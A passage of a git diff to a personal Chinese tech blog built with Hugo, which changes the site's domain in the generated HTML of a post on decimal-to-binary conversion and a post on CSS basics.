o=window.getSelection();o.removeAllRanges(),o.addRange(n);try{document.execCommand("copy"),s()}catch{}o.removeRange(n)}),n.classList.contains("highlight")?n.appendChild(t):n.parentNode.firstChild==n||(e.parentNode.parentNode.parentNode.parentNode.parentNode.nodeName=="TABLE"?e.parentNode.parentNode.parentNode.parentNode.parentNode.appendChild(t):e.parentNode.appendChild(t))})</script></body></html>
\ No newline at end of file
diff --git a/posts/43/index.html b/posts/43/index.html
index 1dc5b9fd..d6d20f22 100644
--- a/posts/43/index.html
+++ b/posts/43/index.html
@@ -8,8 +8,8 @@
 例子： 100/2 = 50余 0 50/2= 25余 0 25/2=12余 1 12/2=6余 0 6/2 = 3余 0 3/2 =1 余 1 1/2=0余 1
 所以100的二进制为1100100
 小数转二进制
-乘2取整，顺序排列"><meta name=author content="Me"><link rel=canonical href=https://xiaochenabc123.github.io/posts/43/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.3613efbd0b1772781e8f49935e973cae632a7f61471c05b17be155505ccf87b5.css integrity="sha256-NhPvvQsXcngej0mTXpc8rmMqf2FHHAWxe+FVUFzPh7U=" rel="preload stylesheet" as=style><script defer crossorigin=anonymous src=/assets/js/highlight.f413e19d0714851f6474e7ee9632408e58ac146fbdbe62747134bea2fa3415e0.js integrity="sha256-9BPhnQcUhR9kdOfuljJAjlisFG+9vmJ0cTS+ovo0FeA=" onload=hljs.initHighlightingOnLoad()></script>
-<link rel=icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://xiaochenabc123.github.io/favicon.ico><link rel=apple-touch-icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=mask-icon href=https://xiaochenabc123.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content="一些常用的进制转换方法"><meta property="og:description" content="除2取余，逆序排列
+乘2取整，顺序排列"><meta name=author content="Me"><link rel=canonical href=https://chenjunlinabc.github.io/posts/43/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.5cfc680b1eeaeef9efbced92d46c2a9e876b72ee14fba85846afc4cff9e6e6f8.css integrity="sha256-XPxoCx7q7vnvvO2S1Gwqnodrcu4U+6hYRq/Ez/nm5vg=" rel="preload stylesheet" as=style><script defer crossorigin=anonymous src=/assets/js/highlight.f413e19d0714851f6474e7ee9632408e58ac146fbdbe62747134bea2fa3415e0.js integrity="sha256-9BPhnQcUhR9kdOfuljJAjlisFG+9vmJ0cTS+ovo0FeA=" onload=hljs.initHighlightingOnLoad()></script>
+<link rel=icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://chenjunlinabc.github.io/favicon.ico><link rel=apple-touch-icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=mask-icon href=https://chenjunlinabc.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content="一些常用的进制转换方法"><meta property="og:description" content="除2取余，逆序排列
 十进制（整数）转二进制一般使用&#34;除2取余，逆序排列&#34;法：
 1.先使用2整除2进制，得到商和余数
 2.然后再使用2整除商，得到新的商和余数
@@ -19,7 +19,7 @@
 例子： 100/2 = 50余 0 50/2= 25余 0 25/2=12余 1 12/2=6余 0 6/2 = 3余 0 3/2 =1 余 1 1/2=0余 1
 所以100的二进制为1100100
 小数转二进制
-乘2取整，顺序排列"><meta property="og:type" content="article"><meta property="og:url" content="https://xiaochenabc123.github.io/posts/43/"><meta property="og:image" content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="article:section" content="posts"><meta property="article:published_time" content="2021-06-20T20:07:00+00:00"><meta property="article:modified_time" content="2021-06-20T20:07:00+00:00"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content="一些常用的进制转换方法"><meta name=twitter:description content="除2取余，逆序排列
+乘2取整，顺序排列"><meta property="og:type" content="article"><meta property="og:url" content="https://chenjunlinabc.github.io/posts/43/"><meta property="og:image" content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="article:section" content="posts"><meta property="article:published_time" content="2021-06-20T20:07:00+00:00"><meta property="article:modified_time" content="2021-06-20T20:07:00+00:00"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content="一些常用的进制转换方法"><meta name=twitter:description content="除2取余，逆序排列
 十进制（整数）转二进制一般使用&#34;除2取余，逆序排列&#34;法：
 1.先使用2整除2进制，得到商和余数
 2.然后再使用2整除商，得到新的商和余数
@@ -29,15 +29,15 @@
 例子： 100/2 = 50余 0 50/2= 25余 0 25/2=12余 1 12/2=6余 0 6/2 = 3余 0 3/2 =1 余 1 1/2=0余 1
 所以100的二进制为1100100
 小数转二进制
-乘2取整，顺序排列"><script type=application/ld+json>{"@context":"https://schema.org","@type":"BreadcrumbList","itemListElement":[{"@type":"ListItem","position":1,"name":"Posts","item":"https://xiaochenabc123.github.io/posts/"},{"@type":"ListItem","position":2,"name":"一些常用的进制转换方法","item":"https://xiaochenabc123.github.io/posts/43/"}]}</script><script type=application/ld+json>{"@context":"https://schema.org","@type":"BlogPosting","headline":"一些常用的进制转换方法","name":"一些常用的进制转换方法","description":"除2取余，逆序排列\n十进制（整数）转二进制一般使用\u0026quot;除2取余，逆序排列\u0026quot;法：\n1.先使用2整除2进制，得到商和余数\n2.然后再使用2整除商，得到新的商和余数\n3.如此反复进行，直到商为0时为止\n4.把先得到的余数作为二进制的低位，后得到的余数作为二进制的高位，依次排列\n注意：最左边是高位，最右边是低位\n例子： 100/2 = 50余 0 50/2= 25余 0 25/2=12余 1 12/2=6余 0 6/2 = 3余 0 3/2 =1 余 1 1/2=0余 1\n所以100的二进制为1100100\n小数转二进制\n乘2取整，顺序排列","keywords":["进制转换"],"articleBody":"除2取余，逆序排列\n十进制（整数）转二进制一般使用\"除2取余，逆序排列\"法：\n1.先使用2整除2进制，得到商和余数\n2.然后再使用2整除商，得到新的商和余数\n3.如此反复进行，直到商为0时为止\n4.把先得到的余数作为二进制的低位，后得到的余数作为二进制的高位，依次排列\n注意：最左边是高位，最右边是低位\n例子： 100/2 = 50余 0 50/2= 25余 0 25/2=12余 1 12/2=6余 0 6/2 = 3余 0 3/2 =1 余 1 1/2=0余 1\n所以100的二进制为1100100\n小数转二进制\n乘2取整，顺序排列\n","wordCount":"32","inLanguage":"en","datePublished":"2021-06-20T20:07:00Z","dateModified":"2021-06-20T20:07:00Z","author":{"@type":"Person","name":"Me"},"mainEntityOfPage":{"@type":"WebPage","@id":"https://xiaochenabc123.github.io/posts/43/"},"publisher":{"@type":"Organization","name":"小陈的个人博客","logo":{"@type":"ImageObject","url":"https://xiaochenabc123.github.io/favicon.ico"}}}</script></head><body id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://xiaochenabc123.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://xiaochenabc123.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://xiaochenabc123.github.io/ title=首页><span>首页</span></a></li><li><a href=https://xiaochenabc123.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://xiaochenabc123.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://xiaochenabc123.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://xiaochenabc123.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://xiaochenabc123.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://xiaochenabc123.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><article class=post-single><header class=post-header><div class=breadcrumbs><a href=https://xiaochenabc123.github.io/>Home</a>&nbsp;»&nbsp;<a href=https://xiaochenabc123.github.io/posts/>Posts</a></div><h1 class=post-title>一些常用的进制转换方法</h1><div class=post-meta><span title='2021-06-20 20:07:00 +0000 UTC'>2021-06-20</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me&nbsp;|&nbsp;<a href=https://xiaochenabc123.github.io//posts/%e4%b8%80%e4%ba%9b%e5%b8%b8%e7%94%a8%e7%9a%84%e8%bf%9b%e5%88%b6%e8%bd%ac%e6%8d%a2%e6%96%b9%e6%b3%95.md rel="noopener noreferrer" target=_blank>Suggest Changes</a></div></header><div class=post-content><p>除2取余，逆序排列</p><p>十进制（整数）转二进制一般使用"除2取余，逆序排列"法：</p><p>1.先使用2整除2进制，得到商和余数</p><p>2.然后再使用2整除商，得到新的商和余数</p><p>3.如此反复进行，直到商为0时为止</p><p>4.把先得到的余数作为二进制的低位，后得到的余数作为二进制的高位，依次排列</p><p>注意：最左边是高位，最右边是低位</p><p>例子：
+乘2取整，顺序排列"><script type=application/ld+json>{"@context":"https://schema.org","@type":"BreadcrumbList","itemListElement":[{"@type":"ListItem","position":1,"name":"Posts","item":"https://chenjunlinabc.github.io/posts/"},{"@type":"ListItem","position":2,"name":"一些常用的进制转换方法","item":"https://chenjunlinabc.github.io/posts/43/"}]}</script><script type=application/ld+json>{"@context":"https://schema.org","@type":"BlogPosting","headline":"一些常用的进制转换方法","name":"一些常用的进制转换方法","description":"除2取余，逆序排列\n十进制（整数）转二进制一般使用\u0026quot;除2取余，逆序排列\u0026quot;法：\n1.先使用2整除2进制，得到商和余数\n2.然后再使用2整除商，得到新的商和余数\n3.如此反复进行，直到商为0时为止\n4.把先得到的余数作为二进制的低位，后得到的余数作为二进制的高位，依次排列\n注意：最左边是高位，最右边是低位\n例子： 100/2 = 50余 0 50/2= 25余 0 25/2=12余 1 12/2=6余 0 6/2 = 3余 0 3/2 =1 余 1 1/2=0余 1\n所以100的二进制为1100100\n小数转二进制\n乘2取整，顺序排列","keywords":["进制转换"],"articleBody":"除2取余，逆序排列\n十进制（整数）转二进制一般使用\"除2取余，逆序排列\"法：\n1.先使用2整除2进制，得到商和余数\n2.然后再使用2整除商，得到新的商和余数\n3.如此反复进行，直到商为0时为止\n4.把先得到的余数作为二进制的低位，后得到的余数作为二进制的高位，依次排列\n注意：最左边是高位，最右边是低位\n例子： 100/2 = 50余 0 50/2= 25余 0 25/2=12余 1 12/2=6余 0 6/2 = 3余 0 3/2 =1 余 1 1/2=0余 1\n所以100的二进制为1100100\n小数转二进制\n乘2取整，顺序排列\n","wordCount":"32","inLanguage":"en","datePublished":"2021-06-20T20:07:00Z","dateModified":"2021-06-20T20:07:00Z","author":{"@type":"Person","name":"Me"},"mainEntityOfPage":{"@type":"WebPage","@id":"https://chenjunlinabc.github.io/posts/43/"},"publisher":{"@type":"Organization","name":"小陈的个人博客","logo":{"@type":"ImageObject","url":"https://chenjunlinabc.github.io/favicon.ico"}}}</script></head><body id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://chenjunlinabc.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://chenjunlinabc.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://chenjunlinabc.github.io/ title=首页><span>首页</span></a></li><li><a href=https://chenjunlinabc.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://chenjunlinabc.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://chenjunlinabc.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://chenjunlinabc.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://chenjunlinabc.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://chenjunlinabc.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><article class=post-single><header class=post-header><div class=breadcrumbs><a href=https://chenjunlinabc.github.io/>Home</a>&nbsp;»&nbsp;<a href=https://chenjunlinabc.github.io/posts/>Posts</a></div><h1 class=post-title>一些常用的进制转换方法</h1><div class=post-meta><span title='2021-06-20 20:07:00 +0000 UTC'>2021-06-20</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me&nbsp;|&nbsp;<a href=https://chenjunlinabc.github.io//posts/%e4%b8%80%e4%ba%9b%e5%b8%b8%e7%94%a8%e7%9a%84%e8%bf%9b%e5%88%b6%e8%bd%ac%e6%8d%a2%e6%96%b9%e6%b3%95.md rel="noopener noreferrer" target=_blank>Suggest Changes</a></div></header><div class=post-content><p>除2取余，逆序排列</p><p>十进制（整数）转二进制一般使用"除2取余，逆序排列"法：</p><p>1.先使用2整除2进制，得到商和余数</p><p>2.然后再使用2整除商，得到新的商和余数</p><p>3.如此反复进行，直到商为0时为止</p><p>4.把先得到的余数作为二进制的低位，后得到的余数作为二进制的高位，依次排列</p><p>注意：最左边是高位，最右边是低位</p><p>例子：
 100/2 = 50余 0
 50/2= 25余 0
 25/2=12余 1
 12/2=6余 0
 6/2 = 3余 0
 3/2 =1 余 1
-1/2=0余 1</p><p>所以100的二进制为1100100</p><hr><p>小数转二进制</p><p>乘2取整，顺序排列</p></div><footer class=post-footer><ul class=post-tags><li><a href=https://xiaochenabc123.github.io/tags/%E8%BF%9B%E5%88%B6%E8%BD%AC%E6%8D%A2/>进制转换</a></li></ul><nav class=paginav><a class=prev href=https://xiaochenabc123.github.io/posts/44/><span class=title>« Prev</span><br><span>css的一些知识扩展</span></a>
-<a class=next href=https://xiaochenabc123.github.io/posts/39/><span class=title>Next »</span><br><span>记录一次MIME类型错误</span></a></nav></footer></article></main><footer class=footer><span>&copy; 2023 <a href=https://xiaochenabc123.github.io/>小陈的个人博客</a></span>
+1/2=0余 1</p><p>所以100的二进制为1100100</p><hr><p>小数转二进制</p><p>乘2取整，顺序排列</p></div><footer class=post-footer><ul class=post-tags><li><a href=https://chenjunlinabc.github.io/tags/%E8%BF%9B%E5%88%B6%E8%BD%AC%E6%8D%A2/>进制转换</a></li></ul><nav class=paginav><a class=prev href=https://chenjunlinabc.github.io/posts/44/><span class=title>« Prev</span><br><span>css的一些知识扩展</span></a>
+<a class=next href=https://chenjunlinabc.github.io/posts/39/><span class=title>Next »</span><br><span>记录一次MIME类型错误</span></a></nav></footer></article></main><footer class=footer><span>&copy; 2023 <a href=https://chenjunlinabc.github.io/>小陈的个人博客</a></span>
 <span>Powered by
 <a href=https://gohugo.io/ rel="noopener noreferrer" target=_blank>Hugo</a> &
         <a href=https://github.com/adityatelange/hugo-PaperMod/ rel=noopener target=_blank>PaperMod</a></span></footer><a href=#top aria-label="go to top" title="Go to Top (Alt + G)" class=top-link id=top-link accesskey=g><svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 12 6" fill="currentcolor"><path d="M12 6H0l6-6z"/></svg></a><script>let menu=document.getElementById("menu");menu&&(menu.scrollLeft=localStorage.getItem("menu-scroll-position"),menu.onscroll=function(){localStorage.setItem("menu-scroll-position",menu.scrollLeft)}),document.querySelectorAll('a[href^="#"]').forEach(e=>{e.addEventListener("click",function(e){e.preventDefault();var t=this.getAttribute("href").substr(1);window.matchMedia("(prefers-reduced-motion: reduce)").matches?document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView():document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView({behavior:"smooth"}),t==="top"?history.replaceState(null,null," "):history.pushState(null,null,`#${t}`)})})</script><script>var mybutton=document.getElementById("top-link");window.onscroll=function(){document.body.scrollTop>800||document.documentElement.scrollTop>800?(mybutton.style.visibility="visible",mybutton.style.opacity="1"):(mybutton.style.visibility="hidden",mybutton.style.opacity="0")}</script><script>document.getElementById("theme-toggle").addEventListener("click",()=>{document.body.className.includes("dark")?(document.body.classList.remove("dark"),localStorage.setItem("pref-theme","light")):(document.body.classList.add("dark"),localStorage.setItem("pref-theme","dark"))})</script><script>document.querySelectorAll("pre > code").forEach(e=>{const n=e.parentNode.parentNode,t=document.createElement("button");t.classList.add("copy-code"),t.innerHTML="copy";function s(){t.innerHTML="copied!",setTimeout(()=>{t.innerHTML="copy"},2e3)}t.addEventListener("click",t=>{if("clipboard"in navigator){navigator.clipboard.writeText(e.textContent),s();return}const n=document.createRange();n.selectNodeContents(e);const o=window.getSelection();o.removeAllRanges(),o.addRange(n);try{document.execCommand("copy"),s()}catch{}o.removeRange(n)}),n.classList.contains("highlight")?n.appendChild(t):n.parentNode.firstChild==n||(e.parentNode.parentNode.parentNode.parentNode.parentNode.nodeName=="TABLE"?e.parentNode.parentNode.parentNode.parentNode.parentNode.appendChild(t):e.parentNode.appendChild(t))})</script></body></html>
\ No newline at end of file
diff --git a/posts/44/index.html b/posts/44/index.html
index a85940b2..b8aa6e57 100644
--- a/posts/44/index.html
+++ b/posts/44/index.html
@@ -34,8 +34,8 @@
 all为横跨所有列
 media 媒体查询
 媒体查询常用于响应式布局，为不同屏幕设置不同的样式
-@media(max-width:768px){} // 当屏幕最大宽度只有768px时应用其下的设置"><meta name=author content="Me"><link rel=canonical href=https://xiaochenabc123.github.io/posts/44/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.3613efbd0b1772781e8f49935e973cae632a7f61471c05b17be155505ccf87b5.css integrity="sha256-NhPvvQsXcngej0mTXpc8rmMqf2FHHAWxe+FVUFzPh7U=" rel="preload stylesheet" as=style><script defer crossorigin=anonymous src=/assets/js/highlight.f413e19d0714851f6474e7ee9632408e58ac146fbdbe62747134bea2fa3415e0.js integrity="sha256-9BPhnQcUhR9kdOfuljJAjlisFG+9vmJ0cTS+ovo0FeA=" onload=hljs.initHighlightingOnLoad()></script>
-<link rel=icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://xiaochenabc123.github.io/favicon.ico><link rel=apple-touch-icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=mask-icon href=https://xiaochenabc123.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content="css的一些知识扩展"><meta property="og:description" content="box-sizing 盒类型
+@media(max-width:768px){} // 当屏幕最大宽度只有768px时应用其下的设置"><meta name=author content="Me"><link rel=canonical href=https://chenjunlinabc.github.io/posts/44/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.5cfc680b1eeaeef9efbced92d46c2a9e876b72ee14fba85846afc4cff9e6e6f8.css integrity="sha256-XPxoCx7q7vnvvO2S1Gwqnodrcu4U+6hYRq/Ez/nm5vg=" rel="preload stylesheet" as=style><script defer crossorigin=anonymous src=/assets/js/highlight.f413e19d0714851f6474e7ee9632408e58ac146fbdbe62747134bea2fa3415e0.js integrity="sha256-9BPhnQcUhR9kdOfuljJAjlisFG+9vmJ0cTS+ovo0FeA=" onload=hljs.initHighlightingOnLoad()></script>
+<link rel=icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://chenjunlinabc.github.io/favicon.ico><link rel=apple-touch-icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=mask-icon href=https://chenjunlinabc.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content="css的一些知识扩展"><meta property="og:description" content="box-sizing 盒类型
 该属性是告诉浏览器是以什么盒模型展示的
 IE用的是border-box
 计算方式是外边距+内边距+内容=宽度（高度）
@@ -71,7 +71,7 @@
 all为横跨所有列
 media 媒体查询
 媒体查询常用于响应式布局，为不同屏幕设置不同的样式
-@media(max-width:768px){} // 当屏幕最大宽度只有768px时应用其下的设置"><meta property="og:type" content="article"><meta property="og:url" content="https://xiaochenabc123.github.io/posts/44/"><meta property="og:image" content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="article:section" content="posts"><meta property="article:published_time" content="2021-06-23T09:16:00+00:00"><meta property="article:modified_time" content="2021-06-23T09:16:00+00:00"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content="css的一些知识扩展"><meta name=twitter:description content="box-sizing 盒类型
+@media(max-width:768px){} // 当屏幕最大宽度只有768px时应用其下的设置"><meta property="og:type" content="article"><meta property="og:url" content="https://chenjunlinabc.github.io/posts/44/"><meta property="og:image" content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="article:section" content="posts"><meta property="article:published_time" content="2021-06-23T09:16:00+00:00"><meta property="article:modified_time" content="2021-06-23T09:16:00+00:00"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content="css的一些知识扩展"><meta name=twitter:description content="box-sizing 盒类型
 该属性是告诉浏览器是以什么盒模型展示的
 IE用的是border-box
 计算方式是外边距+内边距+内容=宽度（高度）
@@ -107,7 +107,7 @@
 all为横跨所有列
 media 媒体查询
 媒体查询常用于响应式布局，为不同屏幕设置不同的样式
-@media(max-width:768px){} // 当屏幕最大宽度只有768px时应用其下的设置"><script type=application/ld+json>{"@context":"https://schema.org","@type":"BreadcrumbList","itemListElement":[{"@type":"ListItem","position":1,"name":"Posts","item":"https://xiaochenabc123.github.io/posts/"},{"@type":"ListItem","position":2,"name":"css的一些知识扩展","item":"https://xiaochenabc123.github.io/posts/44/"}]}</script><script type=application/ld+json>{"@context":"https://schema.org","@type":"BlogPosting","headline":"css的一些知识扩展","name":"css的一些知识扩展","description":"box-sizing 盒类型\n该属性是告诉浏览器是以什么盒模型展示的\nIE用的是border-box\n计算方式是外边距+内边距+内容=宽度（高度）\n而像谷歌浏览器之类的用的是content-box\n计算方式是容器的宽度或者高度\nbox-sizing: content-box; // 告诉浏览器是以content-box方式计算\nborder-box // 告诉浏览器是以border-box方式计算\ncss样式优先级\n!important \u0026gt; 内联 \u0026gt; id \u0026gt; 类 \u0026gt; 标签 \u0026gt; 通配符 \u0026gt; 默认样式 \u0026gt; 继承样式\nletter-spacing 